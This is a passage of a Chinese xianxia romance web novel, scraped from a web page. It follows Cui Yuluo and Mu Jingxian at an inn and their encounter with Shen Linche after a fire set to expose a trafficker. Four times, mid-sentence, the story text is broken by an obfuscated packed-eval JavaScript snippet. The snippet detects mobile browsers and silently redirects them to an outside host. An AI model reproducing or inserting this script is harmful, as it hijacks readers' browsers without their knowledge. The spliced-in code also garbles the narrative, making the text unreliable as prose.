季回澜吃完了预制菜,痛心疾首地离开了。 余下的两人干坐了一会儿,慕惊弦开口道:“郑夫人,是玄昭掌门宋有林的妻子。玄昭除了掌门,还有两个长老,分别是横苍长老,也就是我师尊,和青平长老。” 崔羽落静静听他说。 “我五岁时被师尊带回玄昭,我师父未曾娶妻,又一向严厉,青平长老性情冷漠,寡言少语。因此郑夫人就像我的母亲一样,待我如己出。”慕惊弦笑了笑,“不过话虽这样说,她也有一个儿子,叫作宋余舟,和我小时候经常打架。” 崔羽落笑了笑:“正常,我小时候也经常和人打架。” 慕惊弦好奇道:“和谁?” “就附近的一些同龄人啊。” “好吧,那你一定很厉害吧,看你之前在地牢的样子,虽然不像是学过武术的,但动作和反应又很果断敏捷。” “还……可以吧。”崔羽落看着他,问道,“那她失踪了,你要去找她吗?” * 崔羽落环视四周,加快步伐追上慕惊弦,问道:“你真的认路吗?” “那你自己找路走。” “我没有质疑你的意思,”崔羽落看着眼前的荒郊野岭,“我就是有点担心,天也快黑了,我们要是一直找不到城镇,晚上不好休息。” “我认路。” 崔羽落暗叹一口气。 几个时辰前慕惊弦说要去找郑夫人,而后二人收拾行李便前往玄昭门附近。眼见日头就要落下,周遭仍是望不到头的山。 【恭喜宿主,今日活力值已达标。】 “……”崔羽落觉得自己有点冲动了,压根不知道路线和计划,就跟着一个时不时发疯的人上了路。 慕惊弦却顿了下来,侧头看向她:“你走不动了?” “没有啊。” “那我们在一边休息一会儿。” 于是两人坐了下来,开始了这段旅程中的第七次休息。 崔羽落看向靠树而坐的慕惊弦。他闭着双眼,额角有一点湿润的薄汗,原本苍白的脸上染了一层浅淡的红晕,显出一种与平日不同的柔和。 崔羽落目光下移,落在了他浅色的唇上,然后继续下滑,看到了他脖颈侧边的一颗痣。 那颗痣处于堪堪能被衣服遮住的位置,此刻随着他的动作,衣领有些歪,那颗痣便全部露了出来。 盯着那颗痣看了一会儿,崔羽落收回了目光,心想:我真神经啊,一颗痣有什么好看的,自己又不是没长。 再次出发后,两人步行了许久,终于出了山。 看着眼前的灯火,崔羽落突然意识到一件事。 “你们修仙之人,出门就靠步行么?” “是的,修仙之人也是需要锻炼身体的。若是用法术来完成一切,那未免太过无趣。” “……但是这么长的路,用其它方式应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419919|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能更快一些吧?比如御剑飞行,或者弄个车啊灵兽的。” “我没有剑,也没有车和灵兽。” “……好吧。” 两人进了一家客栈,老板看到二人,热情问道:“二位住店吗?要一间房还是两间房?” 崔羽落问道:“两间房。” 听到老板答道“好嘞”,崔羽落心道:终于不是小说里的工具人老板了。 正要付钱,却听见慕惊弦的声音在身边响起:“要一间。” 她震惊地转过头:“为什么?” 慕惊弦忽然凑近她,在她耳边轻声道:“我晚上会发作,需要你帮忙。” 她僵硬地扯了扯嘴角:“……行。” 慕惊弦把铜钱放在桌上:“你睡床,我打地铺。” 二人进了房间,崔羽落坐在床边,慕惊弦将行李放在一个柜子上,走到窗边看着外面。 “那我们休息一晚,明天继续向玄昭那边去?”崔羽落问道,“你怎么确信她在玄昭附近?” 慕惊弦仍看着窗外:“她……走不远的。” “为什么?” “她灵力微弱,身体也不甚强壮,所以,一两天时间,应该也不能走到很远的地方。” “咚咚咚”,门被敲响,崔羽落扬声道:“进来吧。” 老板和一个店小二端着托盘进了门,将托盘放在桌子上,又带上门出去了。 崔羽落坐到桌前,问道:“你怎么还点了一壶酒啊?” “是么?”慕惊弦转过身,“我前面只是给了我觉得足够的钱,没有说别的。” “……好吧。” 慕惊弦看着崔羽落给自己倒了一碗酒,好奇道:“你平常……喝酒吗?” “有时候会吧。” 确实是有时候会喝,通常是和朋友一起吃饭的时候小酌几杯。 “酒量如何?” 崔羽落爽朗地笑笑:“千杯不醉。” 反正这种古代的酒又不怎么醉人。 “厉害。” “那你呢,平常喝酒吗?酒量又如何呢?” “很少喝,酒量应该……还不错。” 饭菜吃得差不多了,慕惊弦问道;“那我们开始喝酒吧。” “怎么喝?你一杯我一杯?” “你会划拳么?” “不太会,”崔羽落眨眨眼,“不过我有一种特别的划拳方法。” “是什么?” 崔羽落依次用手比出石头、剪刀和布:“这个是石头,这个是剪刀,这个是布,你记一下,很重要的。” 慕惊弦也依次比出石头剪刀布:“石头、剪刀和布,我记住了,然后呢?” 崔羽落继续说明:“石头可以打碎剪刀,剪刀可以剪破布,布可以包住石头,所以石头可以赢剪刀,剪刀可以赢布,布可以赢石头。你……明白了吗?” “明白了,如果你出石头我出布,那就是我赢你输。” “对,就是这样。” 这样喝了几杯之后,崔羽落咂摸着唇齿间的辣劲,说道:“这样喝酒有点无聊。” 慕惊弦问道:“那怎样才能不无聊?” 崔羽落给自己续上一碗酒:“谁输了,就需要回答赢的人一个问题,然后再喝一碗酒,怎么样?” “好啊。” 第一轮,崔羽落赢了,她问道:“你……唉,我不知道问什么。” 慕惊弦平静道:“没关系的,若是我不想回答,我会告诉你换一个问题。” “好吧,那……你喜欢吃什么?” 慕惊弦想了想:“好像也没有很喜欢的,能果腹即可。” “好吧。” “……” 一壶酒见了底,崔羽落晃了晃,不知为何,觉得空落落的。 先前沉淀下的酒劲此刻涌了上来,她被呛得咳了两声。 慕惊弦撑着脸,声音传入她的耳中,却好似离她很远很远。 “我赢了,我的问题是——你,现在最想做的事情是什么?” 崔羽落抬起头,眼中反射出摇曳的烛光。可能是因为喝了酒,淡红漫上她的脸颊,又扫过她的眼眶,她的目光在这抹红的衬托下,近乎缱绻。 慕惊弦听她缓缓说:“我很想……” “很想……” 却没有继续说下去。 慕惊弦看着她眼中的朦胧水光,柔声道:“想家么?” 崔羽落有些失神地垂下眼,碗中倒映出的烛火晃了晃。 “很想……玩智能手机。” 12. 夜火 慕惊弦沉默了一会儿,缓缓问道:“智能手机?” 崔羽落觉得五脏六腑火辣辣的,宛如喝了好几杯高度数的白酒:“就是……我家乡那边的一种……比较神奇的,书。” “书?” “你可以在它上面阅读到很多内容,你想看什么就可以在它上面找到什么。” “是么?” “是啊。”崔羽落喝下了最后几滴酒,“这个酒比我想的要辣好多。” “是啊,是很辣。”慕惊弦有些玩味地说,“那你……还挺喜欢看书的。” “……哈哈。” 慕惊弦看着崔羽落泛着红晕的脸,目光划过她线条流畅的鼻梁,又继续下移,最终停在了她放在桌面、指节微屈的手指上。 她的手指很修长,筋骨分明。但正因如此,食指和中指显得没那么笔直,青色的血管缠过指节,慕惊弦看着它,忽然有些愣神。 直到那只手挪出了他的视线。 崔羽落拿起筷子,夹起盘中的最后一片牛肉,笑眯眯地说:“那些行走江湖的大侠,总是说‘小二,一斤好酒,一斤牛肉’,今天我也算是体验了一回当大侠的感觉。” 她放下筷子,起身去了门外。慕惊弦看着她的背影,无声地笑了笑。 小二进门收拾好了桌子,崔羽落道了句“谢谢”,便转向慕惊弦:“走这么多路,你不累么?” ——这会儿人模人样,路上却休息了七次呢! “不累。” 吞下几乎脱口而出的“你好装啊”,崔羽落说:“我累了,洗洗睡吧。” 灭了灯躺在大床上,崔羽落很快睡着了。 她梦见自己回到了十岁时。 夕阳西斜,小镇宁静,自己穿着旧衣,提着装书的袋子,踩着砂石,悠悠前行。 “一条大河波浪宽,风吹稻花香两岸……” 她哼着新学的歌,加快步伐往家里走去。 但走着走着,周遭环境陡然变化。厮杀声渐渐充斥脑海,使她头晕目眩。 一把带血的剑刺向她心口,她踉踉跄跄地后退数步。 忽然,有人扶住了她的肩背,女子清脆的声音在耳边响起。 “当心。” 她转头看向女子,却被鲜血溅了满脸。 女子被一把刀抹了脖颈,无力地倒了下去。 浓郁的血腥气骤然涌入鼻腔,她伸手擦了擦脸上的血迹,却怎么也擦不净。 ——她猝然惊醒。 崔羽落在静谧夜色中喘着气,冷汗沾湿了里衣,此刻凉了下去,冷得她一哆嗦。 气息渐渐平复,她再难以入眠,便掀开被子,再次按照前几天的方法,尝试引气入体。 许久,她觉察到身体有了一些变化。 有一股绵延不绝的力量,随着经脉缓缓流动。她感受着它的流转,尝试将它们凝聚一处。 那股未知力量渐渐改变了轨迹,开始朝气海汇集。 当由四肢百骸而来的灵力潺潺流入气海,崔羽落发觉外界的灵气流动可以被自己感知,万物仿佛与自己建立起了一种说不清道不明的联系。 风起青萍,万物共生。 ——第一境,乘风。 她睁开眼,惊喜地想:成功了。 然后她看到慕惊弦周围的空气有了变化。 “……” 她走过去,正欲一掌将他劈晕,却发现两人周围的灵力开始缓缓交融。 但显然,她周围的灵力很微弱,而慕惊弦周围的灵力汹涌强悍,透露出危险的攻击性。 戾气。 她脑海中忽然想起先前季回澜所说的话。 不详、凶险强悍、不受控制的力量。 ——这是戾气。 纯粹、细水长流、可以控制的力量。 ——这是灵气。 既然都是自然之气,为何会大相径庭呢? 戾气愈发强势,在暗夜中四处流窜。那股原本微弱的灵力,却渐渐地自戾气流转的缝隙渗透进去,两种截然不同的力量奇妙地融为一体,又彼此中和,最终以一种深沉平和又蓄势待发的姿态,在二人之间缓缓流淌。 与受到戾气的攻击不同,崔羽落并没有感到不适,体内灵力被外界的反应影响,竟随之厚重了起来。 ——这就是双修吗? 但窗外忽然传来些喧闹的人声,将原本的静谧骤然打破。崔羽落看着眼前仿佛进入入定状态的慕惊弦,凝神听着外面的动静。 “起火了!救火啊!” “有人!快去救人!” 声音来自另一条街上的一家客栈。 崔羽落原本在想,反正自己也不能召唤水,眼前还有个不好处理的人,与其跑出去救火,不如先观望一下。 但又有人声传来,其中的内容令她一惊。 “是他放的火!把他抓起来!” “我前面看到了,他用的是邪术!他是要害死一客栈的人啊!” “妖女!” 崔羽落心想:原来是个女子。 随后她断了灵气与戾气的融合,站起身。 慕惊弦的脸色白了白。 她叹了口气,道了句“不好意思了”,便抬手将他打晕了过去,随后披上外袍,出了客栈。 她朝着火光走去,一路上时常有人走出房门,探头观察情况。 到了那燃烧的客栈前,她看到很多人来来去去,拿了水桶水盆灭火,一些从客栈中逃出的人站在街上,又庆幸又惶恐。 而一名年轻女子被几人用菜刀和铁锹指着,不仅毫无惧怕之色,反而有些自得地笑着。 崔羽落抬眼看向客栈,却见火焰在众人的动作之下,没有丝毫要减弱的意思,仍然熊熊燃烧着。 女子有些沙哑的声音在众人耳畔响起:“没用的,凡间的水当然无法浇灭我这妖女放出的邪火了,真是愚蠢。” 她低低笑了几声,抬起了手。 周围人瞬时警觉,但仍十分害怕地退了一步,生怕这妖女又要放火烧自己似的。 崔羽落环视众人,恰好和一名中年女子对视。 她走了过去,微笑道:“老板?” 女子的神色十分疲倦,但古怪的是,崔羽落没有在其中捕捉到害怕。 “姑娘有什么事吗?” “没什么事,我就是想问一下,夜里客栈究竟发生了什么呢?不知是否方便和我说说?” “姑娘啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15419920|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说说当然是方便的。”女子叹了口气,继续说,“昨晚有一个男子和一个女子来住店,当时我就发现二人似乎不太对劲。” “那名女子……就是她么?”崔羽落看向被指为“妖女”的年轻女子。 “是。” “可是那个男子现在去哪了,他俩不是一起的吗?” “姑娘,不要着急,你听我慢慢说。” “可是——” 女子笑了笑,示意崔羽落看向客栈:“你看,那火其实不用灭,虽然人碰到会觉得烫,但墙、地、门啊窗啊这些死物,是没有受到影响的啊。” 崔羽落看着火光笼罩下的客栈,惊讶不已。 女子继续说:“当时那年轻女子沉默寡言,那个男子则说,这是他的妻子,怕生得厉害,让我们不要见怪。然后他俩定了一间房,到那为止都还算正常。” “是的。” “然后到了半夜,小二上楼查探的时候,发现他俩房间里有些异样。” “什么异样?” “他俩好像起了争执,小二在门外忍不住多听了一会儿,却不知怎么被发现了,然后门被打开了,他俩又假装感情很好的样子,问小二有什么事情吗。过了一会儿小二跑来跟我讲,我就纳闷他俩怎么知道有人在偷听。” 崔羽落想到小说套路中,偷听必发出声响定律:“可能不小心发出了声音?” “不会吧,其实说来有点惭愧,我那店小二很擅长偷听,就凭借这个,我们店里的几个人知道了好多离谱至极的事情呢。” “……” “他当时说没事,只是忽然有些晕,便在那里蹲了一会儿,那男的还给他了一粒药丸让他吃下,他吃下之后觉得平常老酸痛的腰和腿都不痛了,浑身上下舒服极了,说来我都想去要一粒呢。” 崔羽落心道:这确实,修真界的医药领域确实非常先进。 “然后他就出去了,出去之后又听见那年轻女子撒娇地和那男的说,想吃另一条街上的点心,后面还有一句话,声音很小,不知道说了什么,但我猜应该是那种撒娇的话吧。” “另一条街?是不是有个如家客栈的那条街?” “是的。然后小二就听见那男的说,‘好啊,我去给你偷一点’,然后那男的就从窗户里跳了出去。” “……” “然后那男的走了,那个女子就忽然打开了门,手中射出一道光,然后客栈就起了火。” “……可是她,”崔羽落疑惑道,“为什么要放火呢?” 老板却突然抬起头,一双眼直直盯着她。 不知何时,周围人的目光都聚在了崔羽落身上。 老板疲惫地笑了笑。 “你们这些人,有些仇呀怨呀,就总拿我们普通人撒气,咋着,我们普通人本来也命短,又不能手挥一挥就火来水来的,所以在你们眼里就像畜生一样了么?” 崔羽落一脸茫然:“我们这些人?” “是,别以为我没发现,你一过来,她就和见了同伙一样,眼神立马不一样了。我虽然比不上你们修仙的,但也不至于老眼昏花,什么都看不出。” 崔羽落不可思议地看向那女子,却见她笑着对自己眨了眨眼。 13. 行侠 一路人道:“那些都不重要,重要的是先把这个纵火妖女处理了!” 一男子有些迟疑地说:“可是……怎么处理呢?” 身旁人附和道:“是啊,她会放火烧客栈,自然也能放火烧了咱们呐。” 客栈老板却长叹一口气道:“大家可否听我一言。” 周围人住了口。 老板咳嗽了两声:“大晚上的,我这里闹出这种事情,惊扰了大家睡觉,实在是抱歉。” “没事的,店里没人受伤就好,要是出了人命就不好了啊。” 老板微微一笑,继续说:“大家也看到了,这火并非普通的火,不能被水浇灭,但也……并没有烧坏店里的东西。而且,既然没有人受伤,那么大家就散了吧。至于这位姑娘……” 她看向那被几名男子围住的年轻女子,却见那女子与她刚好对视上,神色不自然地变了变。 她看着她笑了笑:“至于这位姑娘,她并非要伤人,放火之事必另有原因,我再与她谈一谈。不论是因为什么原因放了火,待我们详谈之后便可知晓。” 有人说:“可是——” 老板躬身一揖:“这大半夜的,搅扰大家睡眠,实在是抱歉。各位不嫌弃的话,明后天来我店中,所有消费都可免单,就当是我请大家吃喝了,算是报答相助之恩。” 众人沉默片刻,其中一女子道:“走了走了,方老板都这样说了,我们这么站在这里做什么?火又灭不了,站着看戏么?” 她先行走出人群,信步往家里走去。 众人看着那女子,略有迟疑,但还是陆陆续续地离开了。 余下的人中,除了崔羽落和年轻女子,还有客栈老板和几个年轻人。 崔羽落记得这几人是从着火的客栈中跑出来的。 客栈老板说:“这几人是我店里的人,并非是住店的客人。” 崔羽落原本想问“为什么没有客人”,但又觉得这样有些冒犯。 她转向那纵火女子,困惑道:“你认识我?” 那女子却不回答,而是问老板:“你为什么那样做?” 老板道:“姑娘,我不知道你们这些修仙之人有什么恩怨,但你既然没有伤害我们,也没有烧坏店里东西,那又何必再为难你呢。” 女子顿了顿,道:“你这客栈,是不是晚上没什么客人来?” 老板回道:“是的。” 女子问道:“你可知为什么?” “大概半个月前,有住店的客人说半夜闹鬼。”老板叹气道,“原本大家不甚在意,但过了几天,又有住店的人说晚上闹鬼,而且不止一个人这么说。然后客栈闹鬼的事情不知为何传了出去,后来就没什么人来住店了。” 崔羽落问道:“闹鬼?怎么闹?” 老板答道:“就是半夜有鬼影,有时候还会出现鬼压床之类的。” 那女子插话道:“怎么,你想试试?” 崔羽落心想:其实还真的有点好奇这个世界的闹鬼是怎样的呢。 口中则答道:“没有没有。” 女子又说:“老板,这火过一会儿便能自己熄灭,我俩就先不打扰了。此外,今天晚上多谢你。” 老板道:“好,但我可否问一句,姑娘你和那男子究竟是怎么回事,后面为什么又放起火来了呢?” 那女子沉默了一会儿,说:“我俩就是经常吵架。” 老板没等到后面那个问题的答案,放缓语气道:“姑娘,我能问一个问题么?” “什么?” “你俩不是夫妻吧?” 女子答道:“对。” 崔羽落道:“那……” 女子见她“那”了半天没“那”出来,像是想问话又不知该不该问的样子,笑道:“那什么?那他为何说我是他的妻子?” “……” 老板看了看夜空中的火焰,又道:“姑娘,说实话,我在这开了这么多年客栈,各种江湖恩怨,杀人放火,见得不算少。我这房子里面的各种东西,这几十年里都换了好几回了。” 女子看向她,问道:“其实那个人,他是一个人贩子。” “人贩子?” “是,我便是被他从我爹娘手中买下的,我不知道他要带我去哪里。我们走了两三天,一路上他死死盯着我,我找不着机会逃。”女子笑了笑,“不过,可能是我一直装出一副怕生羞涩的样子,让他有些放松警惕。而且我还用了些其他手段。” 崔羽落好奇道:“什么手段?” 女子压低声音:“你可曾听过一句话?” “什么话?” “温柔刀,刀刀刮骨。” 崔羽落疑惑道:“这是……什么手段?” 女子摆了摆手:“你不懂就算了。简单来说就是装作有些依赖他的样子,每天楚楚可怜的,偶尔撒个娇什么的。现在想起来觉得真难受啊,但是为了逃跑也忍了。” 老板笑道:“姑娘机智。” “接着就是那店小二听到的了,我俩有了争执。那争执其实也是我装的,我和他说,‘你白天一直看街上的女子,真是令人心寒’。然后他狡辩,我就顺势和他吵了起来。” “……” “后来我和他说,我饿了,想吃点糕点,他要是能马上买来我就放过他。他就出去了,现在还没回来,也不知道是不是给人抓住了。” 崔羽落有些疑惑:“那……为什么要放火呢?” 女子看了她一会儿,道:“当时是觉得,放个火吸引大家过来,或许能趁乱跑掉。但显然这是错的。” 老板道:“姑娘,我猜测也大概是这样的。既然如此,我这里还有一些银两,到了白天,你就换身打扮,快些回家去吧。”说罢,从怀中拿出一只钱包,就要递给女子。 女子后退一步:“多谢老板,但……我不需要。” 老板疑道:“为何?那人贩子难道没有将你身上的钱财都收走么?” 女子靠近崔羽落,熟稔地挽起她的手:“老板不是看出我俩认识么?他乡遇故知果真是一大幸事。” 崔羽落虽内心一连串疑问,但仍配合地说:“是啊,我见到起火便赶来查看能否帮忙,没想到遇到了这位姐姐。” 老板一愣,笑道:“好啊,那二位姑娘务必一路当心。” 客栈的火渐渐小了,女子拉着崔羽落离开客栈。 崔羽落问道:“你……见过我?” 女子睁大双眼:“你之前还亲密地喊我姐姐呢,现在怎么都认不出我了呢?” “啊?之前?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427317|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>女子似是忽然想到什么,“啊”了一声道:“差点忘了,我现在这个模样,你认不出也正常。”随后她从袖中取出一张符,夹在二指间,口中默念咒诀。 崔羽落震惊地注视着她。 她的轮廓五官于咒诀结束的瞬间发生变化,由一个从未见过的女子,变成了崔羽落熟悉不过的模样。 是那日在魔宗与她一起逃跑、并肩作战的女子。 她看着怔忡的崔羽落,好像有些失望,问道:“我这个样子……你还是没有记起来么?” 崔羽落深吸一口气:“没有。” 她沮丧道:“真把我忘了啊?” 崔羽落忙摆摆手道:“不是不是,我的意思是,我没有没记起来你。没有没记起来的意思,就是我记得。” 她高兴道:“这才对啊,居然在这里也能遇见,我们果然是有缘。对了,之前情况危急,咱俩还不知道对方叫什么呢。我叫沈临澄,你呢?” 说了自己的姓名,崔羽落问道:“当时在魔宗地牢,我们都昏迷过去了,之后你去了哪里呀?” 沈临澄道:“我醒来的时候在一处山庄,受的伤都被人包扎过了。而且我觉得他们用的药好生厉害啊,没过几天就都好得差不多了,其他地方也都恢复如常了。” 崔羽落道:“是啊,那后来呢?” “恢复好了我就离开了,继续浪迹江湖行侠仗义。不过后面我又遇到了一个人。” “什么人?” “一个要收我做徒弟的人。”沈临澄皱了皱眉,“真奇怪啊,为什么总是遇到些要收我当徒弟的人呢?我记得那天我见到几个混混欺负一个大爷,我就上去和他们说,这样是不对的。结果你猜怎么着?” “怎么了?” 沈临澄摇摇头:“那几个混混,每个人直接掏出一把刀,上来就要砍我,气势汹汹的,要不是我略懂一些武功,也拿出了我的那柄匕首,怕是那天就被他们切成臊子做面吃了呢。” 崔羽落无声笑了笑。 沈临澄继续说:“不过我还没来得及把他们都打趴下,忽然不知从哪冒出一个人,那个人直接用法术击昏了他们,然后过来问我,家住何处?多大年岁?亲人何在?” 崔羽落问道:“那他是什么人?” “说来也是有趣,她看上去也就是个年轻女子的模样,实际上却是玄昭门的一个长老。长老长老,长得却一点也不老,很年轻好看呢。她知道了我的情况,就问我愿不愿意做她的徒儿,然后说能给我一堆好处。” 崔羽落心想:这玄昭门倒真是有趣,跟刷kpi一样地发offer。 “然后我一想,确实不错,而且她也没有说我得一直待在玄昭门,依然可以到处浪迹,我就答应了。”沈临澄目光灼灼,“后来我问她,为什么要收我为徒。她回答说,很欣赏我的侠义心肠,哈哈哈哈。” 崔羽落道:“是啊,姐姐确实是侠义心肠,人美心善。” 沈临澄笑眼弯弯:“妹妹啊,你这样夸我,我真的要得意忘形了。” “不过,后来你为什么遇到那个人贩子了呢?” “自然也是为了行侠仗义了。”沈临澄道,“我前段时间在这附近走动,然后注意到一个女子和一个男子很是奇怪。那男子就是方才所说的人贩子。” 14. 魔气 “那个女子是被人贩子拐走的,然后……你扮成了她的样子,换她出去,自己和那人贩子走了么?” “是啊,我一开始察觉不对,就用一些术法尝试和那女子交流,然后让她去一个地方假装小解,趁机互换了衣服,又易容成她的模样,和她换了。” 崔羽落点点头:“然后……你和他一路到了这里,住到了这个客栈,不过姐姐,我还是有一点不懂。” “什么?” “我记得上次在地牢,你故意被魔宗的人抓进去,是为了解救里面的人。那么这次你故意跟着那个男子,我想除了让原来的那个女生跑远一些,还有一个原因是,你想跟着看看他们贩卖的路线和窝点是什么样的吧?” “是啊,知己知彼百战不殆嘛。” “但是姐姐,”崔羽落看着她,“你为什么要放火呢?这样不是会引起那个男子的怀疑么?” * 房间内,慕惊弦已然清醒。 唤醒他的是一股不明来处的魔气。那股魔气与他体内的戾气共鸣,使他的经脉火烧火燎。戾气游走其中,淤血上涌,他竟蓦地吐出一口血来。 他缓了缓气息,擦去唇边血迹,环视四周,却发现本该躺在床上的崔羽落不见了。 他深吸一口气,披上外袍,轻轻从窗口跃了下去。 长街上只有月光游过。 忽然,他听到一阵脚步声。 那脚步声很匆忙,似是在逃跑。他略略压制了一下/体内流窜的戾气,便循声追了过去。 脚步在一个破旧的门前停了下来,男子猝然跪倒在地,转头看向一步步走过来的慕惊弦。 男子看着他身上渐渐生出暗涌的戾气,急忙道:“仙君仙君,我都说,我都交代,你不不不、不要杀我!” 慕惊弦停下脚步,问道:“你……要交代什么?” 男子语速很快地说:“我只是和我的娘子出门游玩,大半夜的时候我娘子忽然说有些饿,想吃前面那条街上的糕点,但是,但是这个时候了,糕点铺子早就关门了,我只能……” “只能什么?” “只能翻窗进去,看看能不能偷一点。”男子抬头看着他,十分紧张的样子,“就就、就这些了。” 慕惊弦垂眼看着他:“那你跑什么?” 男子噎了一下,随后尴尬地笑笑:“毕竟是偷了东西,心虚嘛,所以得赶紧跑啊。然后我娘子饿得慌,我怕回去得迟了,又得挨骂。” 慕惊弦扯了扯嘴角:“是么?” “不敢有半句假话啊!” “可是你身上,为什么会有魔气?” “魔魔魔……魔气?”男子看上去快要晕过去了,“怎么可能?” ——他只是个普通不过的人贩子啊,每天为了总部的任务累死累活地到处跑,哪里有时间去修炼出魔气? “但是你身上确实有魔气。” “可能、可能是遇到什么妖魔鬼怪的,身上不小心沾上了一点吧。”男子仰天长叹一声,随后求饶似的看向慕惊弦,“我真的只是一个普通人啊!啊不,我小时候跟着一个江湖骗子学过一点武功,所以会一点轻功,只有这么一点不那么普通了。” 慕惊弦见他身上除了一丝微弱魔气,其他地方的确只是个普通人的模样,心中揣度着哪里会有魔气。 就在这时,他四肢百骸中的戾气陡然变得凶悍,它们渐渐地变得汹涌,肆无忌惮地在他曾受过重创的经脉中流窜。 他眼前一黑,一口淤血自胸口涌了上来。 血染红了他的袖口和前襟,他的脸色瞬间变得苍白如纸。一股阴寒之气骤然侵袭而来,随之而起的阴冷疾风掀起他的头发与衣袍。 他再次运气压制戾气,却见眼前的男子被石化一般,保持着先前的姿势一动不动。惶恐的神情雕刻在面部,在暗沉夜色中显得诡异无比。 他缓缓转头。 一名黑袍男子正站在他眼前。 “是你。” 这名黑袍男子,正是先前地牢中使用法阵抽取灵气的那个人,也是更久前挑起仙魔大战,欲抢夺无方盘的人。 贺千重的脸上缓缓浮现出一个微笑:“是我。没想到这么快又见面了。” 慕惊弦同样笑了笑,随后身周戾气大盛。流转的暗光映照着他苍白的脸色与泛出紫芒的眼睛,以及他与先前戾气失控时全然不同、神色自如的面容。 贺千重却只是静静看着他,不作任何反应。 “怎么,你要在这里把我杀了么?我劝你还是不要这样,”贺千重微笑道,“毕竟慕容随的徒弟、玄昭门的骄子,若是死在了这样一个荒凉镇子,那可真是太不体面了,你说是不是?” “是啊,若是贺尊主死在了这样一个荒凉的地方,那可真是太丢人了。” 酝酿的戾气陡然发作,向着贺千重袭去。 贺千重冷笑一声,从怀中取出一样物品。 那物品外形窄长,其上似有雕刻的纹路。此刻,那物之上华光流转,隐隐现出诡谲的图腾。 法咒凭空而生,将慕惊弦困顿于脚下方寸之地。 与此同时,戾气落在贺千重身上,他身形一晃,口中呛出一口血来。 他看了一眼手上器物,擦了擦嘴角血迹,摇摇头:“这玩意没我想象中的好用啊。” 随后他又道:“你知道我为什么会出现在这里吗?” 见慕惊弦不回答,他哈哈一笑,继续说:“当然是因为你啊。” 语毕,他袍袖一扬,遁入暗夜。 随着贺千重离开,慕惊弦的束缚解开了。 他回想着方才的场景,神情凝重。 ——瞬行千里,画地为牢。 他手上有四方灵器之一的无量尺。 先前他又想抢夺玄昭所守的无方盘……他想要做什么呢? * 沈临澄顿了顿,道:“如果我说,放火是因为先前看到了你,才以这种方式引你过来,你信吗?” 崔羽落一愣:“啊?” 沈临澄见她困惑的模样,忍俊不禁道:“当然不是啦!虽然我也很想见到你,但放火确实另有原因。” 崔羽落沉吟道:“我记得前面老板说道,这些日子客栈有闹鬼?” “是了,就是因为这个。”沈临澄笑眯眯道,“我昨夜住进去之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436284|168986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,发现整个客栈里有股魔气。” “魔气?为什么会这样?” “这就不知道了,不过那股魔气会招来鬼怪,所以就导致了闹鬼。然后我就大发善心,用火把那魔气烧没了,之后客栈应该就不会再这样闹鬼了。”沈临澄看向崔羽落,“对了,刚刚说了我的事,你呢,离开地牢之后又去了哪里啊?” 崔羽落有些迟疑地说:“我……和人成婚了。” 沈临澄“啊”了一声,笑道:“很好啊,是你……喜欢的人么?” 崔羽落张了张口,却没有回答。 沈临澄看着她:“你不喜欢他?是……其他人强迫你成婚?你不愿意的话,那就跑吧,可以和我一起浪迹江湖啊!” 崔羽落道:“也……没有人强迫我成婚,我其实还是愿意的。” “那是怎么回事?” 崔羽落讲述了先前的经历,沈临澄听罢,笑道:“那可真是还不错!只是挂个夫妻的名分,还能拿到那么多钱,还有修炼的法宝什么的,真的很好啊!” “是还不错。” 沈临澄问道:“不过,妹妹可愿意告诉我他是何人呢?” 两人到了崔羽落和慕惊弦在客栈中的房间,却见门内空无一人,窗户大开着,像是有人从中跳了出去。 “不太妙,我的那位夫君不见了。” 沈临澄同样神情凝重:“先前自称是我夫君的那人也不见了,真是奇怪,他说去偷糕点,但我们方才经过那家店,周围没有人啊?” “说不定是被人抓住了呢,走,找找。” “怎么找?观察一下地上的脚印么?”沈临澄蹲下/身,“好像没有什么脚印。” 崔羽落想起前一日房间内误打误撞的“双修”,便尝试运起灵气。 